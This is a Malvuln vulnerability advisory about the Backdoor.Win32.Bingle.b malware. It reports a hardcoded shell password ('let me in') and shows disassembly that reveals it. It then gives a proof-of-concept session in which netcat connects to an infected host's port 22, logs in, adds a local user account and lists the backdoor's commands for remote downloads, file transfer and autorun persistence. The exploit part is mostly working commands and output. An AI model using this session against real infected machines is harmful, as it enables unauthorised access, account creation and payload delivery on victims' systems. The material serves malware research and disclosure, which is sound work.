Backdoor.Win32.Bingle.b MVID-2022-0643 Hardcoded Credential

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/eacaa12336f50f1c395663fba92a4d32.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Bingle.b  
Vulnerability: Weak Hardcoded Credentials  
Description: The malware is packed using ASPack 2.11, listens on TCP port 22 and requires authentication. However, the password "let me in" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.  
Family: Bingle  
Type: PE32  
MD5: eacaa12336f50f1c395663fba92a4d32  
Vuln ID: MVID-2022-0643   
Disclosure: 09/24/2022  
  
004029A0 call sub_4010E0  
004029A5 add esp, 0Ch  
004029A8 cmp eax, ebp  
004029AA jge short loc_4029CC  
004029AC mov edi, [esp+eax*4+230h+var_21C]  
004029B0 mov ecx, ebx  
004029B2 xor eax, eax  
004029B4 repne scasb  
004029B6 not ecx  
004029B8 sub edi, ecx  
004029BA mov edx, ecx  
004029BC mov esi, edi  
004029BE mov edi, offset aLetMeIn ; "let me in"  
  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 22  
let me in  
  
Nt Shell 1.0 beta by [email protected]  
Indicator '#' is NTShell Server output.  
Type ?help for support commands beyond cmd;  
?use at command line for support parameters.  
  
Use 'net helpmsg xxx' to see detail message of Error Code.  
  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\Users\Victim\Desktop>whoami  
whoami  
desktop-2c3iqho\victim  
  
C:\Users\Victim\Desktop>net user hyp3rlinx 1313 /add  
net user hyp3rlinx 1313 /add  
The command completed successfully.  
  
C:\Users\Victim\Desktop>?help  
#?autorun [name file "args"] --- add the [file] to autorun when reboot,  
[file] default is ntshell.exe  
#?canceldata --- abort the previous file transfer command  
#?chdir <dir> --- change the server current dir to <dir>,  
can be UNC(share) name  
#?get <file> [port] --- GET <file> from server, server use [port] to tranfer  
#?help --- show this HELP  
#?httpget <url> <file> --- get the 'file' from 'url',  
eg:httpget http://192.168.0.1 /hackdir/hackprog.exe  
#?pskill PID --- Kill the Process with PID  
#?pslist --- List the all process in system  
#?put <file> [port] --- PUT <file> to server, server use [port] to tranfer  
#?quit --- QUIT the telnetd program  
#?restart [<user> [pass]] --- restart the shell as [user] in stead of  
IUSR_computer if [user] specified, no need to reconnect  
#?sysinfor --- Get the System os information  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`